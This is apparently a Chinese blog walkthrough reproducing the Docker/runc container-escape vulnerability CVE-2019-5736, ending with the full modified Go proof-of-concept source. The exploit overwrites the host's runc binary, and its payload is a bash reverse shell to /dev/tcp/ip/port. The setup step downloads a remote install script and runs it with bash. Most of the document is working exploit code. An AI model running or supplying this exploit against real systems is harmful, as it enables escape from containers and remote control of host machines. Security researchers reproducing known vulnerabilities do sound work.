Docker逃逸漏洞复现(CVE-2019-5736)
1、安装漏洞环境(Ubuntu 18.04)
下载脚本并执行:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
2、执行完后查看版本信息
# 注:这里脚本执行完成后会直接进入docker环境中,需要退出然后再查看版本!!
3、以上脚本会自动拉取一个Ubuntu镜像:
4、下载修改Poc:
https://github.com/Frichetten/CVE-2019-5736-PoC
(1)修改POC:
增加要执行的命令,这里我直接反弹shell:
(2)修改sh为bash启动,否则进入容器会报错:
5、编译POC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 需要安装golang-go和gccgo-go
6、将编译好的main文件拷贝至docker镜像
docker cp main ff7b424d59bc:/home
7、在docker里面运行mian文件
注:docker里面我也安装了golang-go和gccgo-go,否则显示缺少libgo.so
8、模拟用户进入docker镜像:
docker exec -ti ff7b424d59bc /bin/bash
# POC中的/bin/sh需要改为/bin/bash,要不然报错:
9、查看docker里面运行的POC
10、命令成功执行,接收到反弹的shell
11、经查看,反弹的shell为宿主机
附修改后的POC:
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}